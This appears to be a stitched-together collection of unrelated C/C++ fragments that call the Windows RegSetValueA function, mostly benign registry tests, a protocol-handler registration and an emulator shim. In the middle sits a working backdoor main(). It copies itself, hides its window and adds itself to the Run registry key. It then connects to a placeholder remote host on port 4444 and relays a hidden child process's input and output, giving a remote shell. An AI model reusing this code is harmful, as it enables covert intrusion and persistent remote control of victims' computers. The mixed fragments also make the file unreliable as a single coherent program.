LONG SetKey(LPCSTR lpSubKey, LPCSTR lpData, DWORD dwSize)
const
{
if (!IsValidHandle())
return ERROR_INVALID_HANDLE;
return RegSetValueA(hKey(), lpSubKey, REG_SZ, lpData, dwSize);
}
static void myspace_links_register()
{
HKEY hkey;
char szBuf[MAX_PATH], szExe[MAX_PATH * 2], szShort[MAX_PATH];
GetModuleFileNameA(hInst, szBuf, sizeof(szBuf));
GetShortPathNameA(szBuf, szShort, sizeof(szShort));
//LOG(LOG_DEBUG, "Links: register");
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim", &hkey) == ERROR_SUCCESS) {
RegSetValueA(hkey, NULL, REG_SZ, "URL:MySpace IM Protocol", strlen("URL:MySpace IM Protocol"));
RegSetValueExA(hkey, "URL Protocol", 0, REG_SZ, (PBYTE) "", 1);
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (root)");
return;
}
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim\\DefaultIcon", &hkey) == ERROR_SUCCESS) {
char szIcon[MAX_PATH];
mir_snprintf(szIcon, sizeof(szIcon), "%s,0", szShort);
RegSetValueA(hkey, NULL, REG_SZ, szIcon, strlen(szIcon));
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (DefaultIcon)");
return;
}
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim\\shell\\open\\command", &hkey) == ERROR_SUCCESS) {
// MSVC exports differently than gcc/mingw
#ifdef _MSC_VER
mir_snprintf(szExe, sizeof(szExe), "RUNDLL32.EXE %s,_myspace_links_exec@16 %%1", szShort);
//LOG(LOG_INFO, "Links: registering (%s)", szExe);
#else
mir_snprintf(szExe, sizeof(szExe), "RUNDLL32.EXE %s,myspace_links_exec@16 %%1", szShort);
//LOG(LOG_INFO, "Links: registering (%s)", szExe);
#endif
RegSetValueA(hkey, NULL, REG_SZ, szExe, strlen(szExe));
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (command)");
return;
}
}
static HRESULT add_key_val( LPCSTR key, LPCSTR valname, LPCSTR value )
{
HKEY hkey;
if (RegCreateKeyA( HKEY_CLASSES_ROOT, key, &hkey ) != ERROR_SUCCESS) return E_FAIL;
RegSetValueA( hkey, valname, REG_SZ, value, strlen( value ) + 1 );
RegCloseKey( hkey );
return S_OK;
}
BOOL My_RegSetValueA()
{
HKEY hKey=NULL;
LPCSTR lpSubKey=NULL;
DWORD dwType=NULL;
LPCSTR lpData=NULL;
DWORD cbData=NULL;
LONG returnVal_Real = NULL;
LONG returnVal_Intercepted = NULL;
DWORD error_Real = 0;
DWORD error_Intercepted = 0;
__try{
disableInterception();
returnVal_Real = RegSetValueA (hKey,lpSubKey,dwType,lpData,cbData);
error_Real = GetLastError();
enableInterception();
returnVal_Intercepted = RegSetValueA (hKey,lpSubKey,dwType,lpData,cbData);
error_Intercepted = GetLastError();
}__except(puts("in filter"), 1){puts("exception caught");}
return ((returnVal_Real == returnVal_Intercepted) && (error_Real == error_Intercepted));
}
static BOOL register_testentry(void)
{
HKEY hkey = 0, hkey2 = 0;
DWORD ret;
ret = RegCreateKeyA(HKEY_CLASSES_ROOT,"CLSID\\{deadcafe-beed-bead-dead-cafebeaddead}", &hkey);
if (!ret) ret = RegSetValueA(hkey,NULL,REG_SZ,"ComCat Test key",16);
if (!ret) ret = RegCreateKeyA(hkey,
"Implemented Categories\\{deadcafe-0000-0000-0000-000000000000}",
&hkey2);
RegCloseKey(hkey);
RegCloseKey(hkey2);
return !ret;
}
static void register_testentry(void)
{
HKEY hkey,hkey2;
RegCreateKeyA(HKEY_CLASSES_ROOT,"CLSID\\{deadcafe-beed-bead-dead-cafebeaddead}",
&hkey);
RegSetValueA(hkey,NULL,REG_SZ,"ComCat Test key",16);
RegCreateKeyA(hkey,
"Implemented Categories\\{deadcafe-0000-0000-0000-000000000000}",
&hkey2);
RegCloseKey(hkey);
RegCloseKey(hkey2);
}
static BOOL init_key(const char *key_name, const char *def_value, BOOL init)
{
HKEY hkey;
DWORD res;
if(!init) {
RegDeleteKeyA(HKEY_CLASSES_ROOT, key_name);
return TRUE;
}
res = RegCreateKeyA(HKEY_CLASSES_ROOT, key_name, &hkey);
if(res != ERROR_SUCCESS)
return FALSE;
if(def_value)
res = RegSetValueA(hkey, NULL, REG_SZ, def_value, strlen(def_value));
RegCloseKey(hkey);
return res == ERROR_SUCCESS;
}
static void test_getstring_no_extra(void)
{
LONG ret;
HKEY hkey;
HRESULT hr;
static const CHAR dotWinetest[] = {
'.','w','i','n','e','t','e','s','t',0
};
static const CHAR winetestfile[] = {
'w','i','n','e','t','e','s','t', 'f','i','l','e',0
};
static const CHAR winetestfileAction[] = {
'w','i','n','e','t','e','s','t','f','i','l','e',
'\\','s','h','e','l','l',
'\\','f','o','o',
'\\','c','o','m','m','a','n','d',0
};
static const CHAR action[] = {
'n','o','t','e','p','a','d','.','e','x','e',0
};
CHAR buf[MAX_PATH];
DWORD len = MAX_PATH;
if (!pAssocQueryStringA)
{
win_skip("AssocQueryStringA() is missing\n");
return;
}
buf[0] = '\0';
ret = RegCreateKeyA(HKEY_CLASSES_ROOT, dotWinetest, &hkey);
if (ret != ERROR_SUCCESS) {
skip("failed to create dotWinetest key\n");
return;
}
ret = RegSetValueA(hkey, NULL, REG_SZ, winetestfile, lstrlenA(winetestfile));
RegCloseKey(hkey);
if (ret != ERROR_SUCCESS)
{
skip("failed to set dotWinetest key\n");
goto cleanup;
}
ret = RegCreateKeyA(HKEY_CLASSES_ROOT, winetestfileAction, &hkey);
if (ret != ERROR_SUCCESS)
{
skip("failed to create winetestfileAction key\n");
goto cleanup;
}
ret = RegSetValueA(hkey, NULL, REG_SZ, action, lstrlenA(action));
RegCloseKey(hkey);
if (ret != ERROR_SUCCESS)
{
skip("failed to set winetestfileAction key\n");
goto cleanup;
}
hr = pAssocQueryStringA(0, ASSOCSTR_EXECUTABLE, dotWinetest, NULL, buf, &len);
ok(hr == S_OK ||
hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND), /* XP and W2K3 */
"Unexpected result : %08x\n", hr);
hr = pAssocQueryStringA(0, ASSOCSTR_EXECUTABLE, dotWinetest, "foo", buf, &len);
expect_hr(S_OK, hr);
ok(strstr(buf, action) != NULL,
"got '%s' (Expected result to include 'notepad.exe')\n", buf);
cleanup:
SHDeleteKeyA(HKEY_CLASSES_ROOT, dotWinetest);
SHDeleteKeyA(HKEY_CLASSES_ROOT, winetestfile);
}
int main(int argc, char** argv)
{
char dyndns[] ="www.youradress.com";
//Get the CWD and append the new Filename for the Copy-Method of the exe itself.
//Note: Ugly one... leave it in his dark place alone and hope it will die someday..
char * buffer;
buffer = _getcwd(NULL, 0);
int counter =0;
for(int i = 0;;i++)
{
if(counter == 2)
{
if(buffer[i] == '\\' || buffer[i] == '>')
{
buffer[i] = 0;
break;
}
}
if(buffer[i]=='\\')
{
counter++;
}
}
strcat(buffer,"\\yourfilename.exe");
CopyFileA(argv[0],buffer,false);
#if !DEBUG
//Hideing the console window
HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE );
//Setting the console name for fun and profit
//char name[]="SPARTA";
//SetConsoleTitleA(name);
char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//char cwd[1024];
//char asf[] = "lolololol";
//_getcwd(cwd,1024);
//strcat(cwd,"\\");
//strcpy(cwd,**argv);
//strcat(cwd,argv[0]);
DWORD shit=0;
RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit);
#endif
//Testausgabe
#if DEBUG
printf("Socket Client\n");
#endif
//Variablen initialisieren
long returnvalue;
SOCKADDR_IN addr;
SECURITY_ATTRIBUTES saAttr;
#if DEBUG
printf("\n->Start of parent execution.\n");
#endif
// Set the bInheritHandle flag so pipe handles are inherited.
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// Create a pipe for the child process's STDOUT.
if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) )
exit(2);
// Ensure the read handle to the pipe for STDOUT is not inherited.
if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
exit(3);
// Create a pipe for the child process's STDIN.
if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
exit(4);
// Ensure the write handle to the pipe for STDIN is not inherited.
if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
exit(5);
// Create the child process.
CreateChildProcess();
//Weitere SOCKET Abhandlungen...
//Socket Verfügbarkeit prüfen
do
{
returnvalue = StartWinsock();
if(returnvalue != 0)
{
#if DEBUG
printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue);
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Winsock gestartet!\n");
}
#endif
}
while(returnvalue != 0);
//Socket initialisieren
do
{
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock == INVALID_SOCKET)
{
#if DEBUG
printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Socket erstellt!\n");
}
#endif
}
while(sock == INVALID_SOCKET);
//Port und IP übergabe
memset(&addr,0,sizeof(SOCKADDR_IN));
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
//addr.sin_addr.s_addr = inet_addr("127.0.0.1");
do
{
returnvalue = getAddrFromString(dyndns,&addr);
if(returnvalue == SOCKET_ERROR)
{
#if DEBUG
printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n");
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] IP aufgelöst!\n");
}
#endif
}
while(returnvalue == SOCKET_ERROR);
//Verbindungsaufbau
do
{
returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR));
if(returnvalue == SOCKET_ERROR)
{
#if DEBUG
printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError());
#endif
Sleep(60000);
}
#if DEBUG
else
{
printf("[+] Verbindung hergestellt mit %s\n",argv[1]);
}
#endif
}
while(returnvalue == SOCKET_ERROR);
for(;;)
{
#if DEBUG
//Warten auf Input
printf("[-] Warte auf Input ...\n\n");
#endif
WriteToPipe();
ReadFromPipe();
if(exitOnForce)
{
#if DEBUG
printf("\n->SYSTEM GOING DOWN!\n");
#endif
break;
}
}
#if DEBUG
printf("\n->End of parent execution.\n");
#endif
// The remaining open handles are cleaned up when this process terminates.
// To avoid resource leaks in a larger application, close handles explicitly.
return 0;
}
/***********************************************************************
* VxDCall_VMM
*/
static DWORD VxDCall_VMM( DWORD service, CONTEXT86 *context )
{
switch ( LOWORD(service) )
{
case 0x0011: /* RegOpenKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
LPHKEY retkey = (LPHKEY)stack32_pop( context );
return RegOpenKeyA( hkey, lpszSubKey, retkey );
}
case 0x0012: /* RegCreateKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
LPHKEY retkey = (LPHKEY)stack32_pop( context );
return RegCreateKeyA( hkey, lpszSubKey, retkey );
}
case 0x0013: /* RegCloseKey */
{
HKEY hkey = (HKEY)stack32_pop( context );
return RegCloseKey( hkey );
}
case 0x0014: /* RegDeleteKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
return RegDeleteKeyA( hkey, lpszSubKey );
}
case 0x0015: /* RegSetValue */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
DWORD dwType = (DWORD) stack32_pop( context );
LPCSTR lpszData = (LPCSTR)stack32_pop( context );
DWORD cbData = (DWORD) stack32_pop( context );
return RegSetValueA( hkey, lpszSubKey, dwType, lpszData, cbData );
}
case 0x0016: /* RegDeleteValue */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPSTR lpszValue = (LPSTR)stack32_pop( context );
return RegDeleteValueA( hkey, lpszValue );
}
case 0x0017: /* RegQueryValue */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPSTR lpszSubKey = (LPSTR) stack32_pop( context );
LPSTR lpszData = (LPSTR) stack32_pop( context );
LPDWORD lpcbData = (LPDWORD)stack32_pop( context );
return RegQueryValueA( hkey, lpszSubKey, lpszData, lpcbData );
}
case 0x0018: /* RegEnumKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
DWORD iSubkey = (DWORD)stack32_pop( context );
LPSTR lpszName = (LPSTR)stack32_pop( context );
DWORD lpcchName = (DWORD)stack32_pop( context );
return RegEnumKeyA( hkey, iSubkey, lpszName, lpcchName );
}
case 0x0019: /* RegEnumValue */
{
HKEY hkey = (HKEY) stack32_pop( context );
DWORD iValue = (DWORD) stack32_pop( context );
LPSTR lpszValue = (LPSTR) stack32_pop( context );
LPDWORD lpcchValue = (LPDWORD)stack32_pop( context );
LPDWORD lpReserved = (LPDWORD)stack32_pop( context );
LPDWORD lpdwType = (LPDWORD)stack32_pop( context );
LPBYTE lpbData = (LPBYTE) stack32_pop( context );
LPDWORD lpcbData = (LPDWORD)stack32_pop( context );
return RegEnumValueA( hkey, iValue, lpszValue, lpcchValue,
lpReserved, lpdwType, lpbData, lpcbData );
}
case 0x001A: /* RegQueryValueEx */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPSTR lpszValue = (LPSTR) stack32_pop( context );
LPDWORD lpReserved = (LPDWORD)stack32_pop( context );
LPDWORD lpdwType = (LPDWORD)stack32_pop( context );
LPBYTE lpbData = (LPBYTE) stack32_pop( context );
LPDWORD lpcbData = (LPDWORD)stack32_pop( context );
return RegQueryValueExA( hkey, lpszValue, lpReserved,
lpdwType, lpbData, lpcbData );
}
case 0x001B: /* RegSetValueEx */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPSTR lpszValue = (LPSTR) stack32_pop( context );
DWORD dwReserved = (DWORD) stack32_pop( context );
DWORD dwType = (DWORD) stack32_pop( context );
LPBYTE lpbData = (LPBYTE)stack32_pop( context );
DWORD cbData = (DWORD) stack32_pop( context );
return RegSetValueExA( hkey, lpszValue, dwReserved,
dwType, lpbData, cbData );
}
case 0x001C: /* RegFlushKey */
{
HKEY hkey = (HKEY)stack32_pop( context );
return RtlNtStatusToDosError (NtFlushKey (hkey));
}
case 0x001D: /* RegQueryInfoKey */
{
/* NOTE: This VxDCall takes only a subset of the parameters that the
corresponding Win32 API call does. The implementation in Win95
ADVAPI32 sets all output parameters not mentioned here to zero. */
HKEY hkey = (HKEY) stack32_pop( context );
LPDWORD lpcSubKeys = (LPDWORD)stack32_pop( context );
LPDWORD lpcchMaxSubKey = (LPDWORD)stack32_pop( context );
LPDWORD lpcValues = (LPDWORD)stack32_pop( context );
LPDWORD lpcchMaxValueName = (LPDWORD)stack32_pop( context );
LPDWORD lpcchMaxValueData = (LPDWORD)stack32_pop( context );
return RegQueryInfoKeyA( hkey, NULL, NULL, NULL, lpcSubKeys, lpcchMaxSubKey,
NULL, lpcValues, lpcchMaxValueName, lpcchMaxValueData,
NULL, NULL );
}
case 0x0021: /* RegLoadKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
LPCSTR lpszFile = (LPCSTR)stack32_pop( context );
return RegLoadKeyA( hkey, lpszSubKey, lpszFile );
}
case 0x0022: /* RegUnLoadKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
FIXME ("(%p, %s): stub (should call NtUnloadKey)\n",
(void *)hkey, lpszSubKey);
return ERROR_SUCCESS;
}
case 0x0023: /* RegSaveKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszFile = (LPCSTR)stack32_pop( context );
LPSECURITY_ATTRIBUTES sa = (LPSECURITY_ATTRIBUTES)stack32_pop( context );
return RegSaveKeyA( hkey, lpszFile, sa );
}
#if 0 /* Functions are not yet implemented in misc/registry.c */
case 0x0024: /* RegRemapPreDefKey */
case 0x0026: /* RegQueryMultipleValues */
#endif
case 0x0027: /* RegReplaceKey */
{
HKEY hkey = (HKEY) stack32_pop( context );
LPCSTR lpszSubKey = (LPCSTR)stack32_pop( context );
LPCSTR lpszNewFile= (LPCSTR)stack32_pop( context );
LPCSTR lpszOldFile= (LPCSTR)stack32_pop( context );
FIXME ("(%p, %s, %s, %s): stub (should call NtReplaceKey)\n",
(void *)hkey, lpszSubKey, lpszNewFile, lpszOldFile);
return ERROR_SUCCESS;
}
case 0x0000: /* PageReserve */
{
LPVOID address;
LPVOID ret;
DWORD psize = getpagesize();
ULONG page = (ULONG) stack32_pop( context );
ULONG npages = (ULONG) stack32_pop( context );
ULONG flags = (ULONG) stack32_pop( context );
TRACE("PageReserve: page: %08lx, npages: %08lx, flags: %08lx partial stub!\n",
page, npages, flags );
if ( page == PR_SYSTEM ) {
ERR("Can't reserve ring 1 memory\n");
return -1;
}
/* FIXME: This has to be handled separately for the separate
address-spaces we now have */
if ( page == PR_PRIVATE || page == PR_SHARED ) page = 0;
/* FIXME: Handle flags in some way */
address = (LPVOID )(page * psize);
ret = VirtualAlloc ( address, ( npages * psize ), MEM_RESERVE, 0 );
TRACE("PageReserve: returning: %08lx\n", (DWORD )ret );
if ( ret == NULL )
return -1;
else
return (DWORD )ret;
}
case 0x0001: /* PageCommit */
{
LPVOID address;
LPVOID ret;
DWORD virt_perm;
DWORD psize = getpagesize();
ULONG page = (ULONG) stack32_pop( context );
ULONG npages = (ULONG) stack32_pop( context );
ULONG hpd = (ULONG) stack32_pop( context );
ULONG pagerdata = (ULONG) stack32_pop( context );
ULONG flags = (ULONG) stack32_pop( context );
TRACE("PageCommit: page: %08lx, npages: %08lx, hpd: %08lx pagerdata: "
"%08lx, flags: %08lx partial stub\n",
page, npages, hpd, pagerdata, flags );
if ( flags & PC_USER )
if ( flags & PC_WRITEABLE )
virt_perm = PAGE_EXECUTE_READWRITE;
else
virt_perm = PAGE_EXECUTE_READ;
else
virt_perm = PAGE_NOACCESS;
address = (LPVOID )(page * psize);
ret = VirtualAlloc ( address, ( npages * psize ), MEM_COMMIT, virt_perm );
TRACE("PageCommit: Returning: %08lx\n", (DWORD )ret );
return (DWORD )ret;
}
case 0x0002: /* PageDecommit */
{
LPVOID address;
BOOL ret;
DWORD psize = getpagesize();
ULONG page = (ULONG) stack32_pop( context );
ULONG npages = (ULONG) stack32_pop( context );
ULONG flags = (ULONG) stack32_pop( context );
TRACE("PageDecommit: page: %08lx, npages: %08lx, flags: %08lx partial stub\n",
page, npages, flags );
address = (LPVOID )( page * psize );
ret = VirtualFree ( address, ( npages * psize ), MEM_DECOMMIT );
TRACE("PageDecommit: Returning: %s\n", ret ? "TRUE" : "FALSE" );
return ret;
}
case 0x000d: /* PageModifyPermissions */
{
DWORD pg_old_perm;
DWORD pg_new_perm;
DWORD virt_old_perm;
DWORD virt_new_perm;
MEMORY_BASIC_INFORMATION mbi;
LPVOID address;
DWORD psize = getpagesize();
ULONG page = stack32_pop ( context );
ULONG npages = stack32_pop ( context );
ULONG permand = stack32_pop ( context );
ULONG permor = stack32_pop ( context );
TRACE("PageModifyPermissions %08lx %08lx %08lx %08lx partial stub\n",
page, npages, permand, permor );
address = (LPVOID )( page * psize );
VirtualQuery ( address, &mbi, sizeof ( MEMORY_BASIC_INFORMATION ));
virt_old_perm = mbi.Protect;
switch ( virt_old_perm & mbi.Protect ) {
case PAGE_READONLY:
case PAGE_EXECUTE:
case PAGE_EXECUTE_READ:
pg_old_perm = PC_USER;
break;
case PAGE_READWRITE:
case PAGE_WRITECOPY:
case PAGE_EXECUTE_READWRITE:
case PAGE_EXECUTE_WRITECOPY:
pg_old_perm = PC_USER | PC_WRITEABLE;
break;
case PAGE_NOACCESS:
default:
pg_old_perm = 0;
break;
}
pg_new_perm = pg_old_perm;
pg_new_perm &= permand & ~PC_STATIC;
pg_new_perm |= permor & ~PC_STATIC;
virt_new_perm = ( virt_old_perm ) & ~0xff;
if ( pg_new_perm & PC_USER )
{
if ( pg_new_perm & PC_WRITEABLE )
virt_new_perm |= PAGE_EXECUTE_READWRITE;
else
virt_new_perm |= PAGE_EXECUTE_READ;
}
if ( ! VirtualProtect ( address, ( npages * psize ), virt_new_perm, &virt_old_perm ) ) {
ERR("Can't change page permissions for %08lx\n", (DWORD )address );
return 0xffffffff;
}
TRACE("Returning: %08lx\n", pg_old_perm );
return pg_old_perm;
}
case 0x000a: /* PageFree */
{
BOOL ret;
LPVOID hmem = (LPVOID) stack32_pop( context );
DWORD flags = (DWORD ) stack32_pop( context );
TRACE("PageFree: hmem: %08lx, flags: %08lx partial stub\n",
(DWORD )hmem, flags );
ret = VirtualFree ( hmem, 0, MEM_RELEASE );
context->Eax = ret;
TRACE("Returning: %d\n", ret );
return 0;
}
case 0x001e: /* GetDemandPageInfo */
{
DWORD dinfo = (DWORD)stack32_pop( context );
DWORD flags = (DWORD)stack32_pop( context );
/* GetDemandPageInfo is supposed to fill out the struct at
* "dinfo" with various low-level memory management information.
* Apps are certainly not supposed to call this, although it's
* demoed and documented by Pietrek on pages 441-443 of "Windows
* 95 System Programming Secrets" if any program needs a real
* implementation of this.
*/
FIXME("GetDemandPageInfo(%08lx %08lx): stub!\n", dinfo, flags);
return 0;
}
default:
if (LOWORD(service) < N_VMM_SERVICE)
FIXME( "Unimplemented service %s (%08lx)\n",
VMM_Service_Name[LOWORD(service)], service);
else
FIXME( "Unknown service %08lx\n", service);
break;
}
return 0xffffffff; /* FIXME */
}
/******************************************************************************
* RegSetValue [SHELL.5]
*/
DWORD WINAPI RegSetValue16( HKEY hkey, LPCSTR name, DWORD type, LPCSTR data, DWORD count )
{
fix_win16_hkey( &hkey );
return RegSetValueA( hkey, name, type, data, count );
}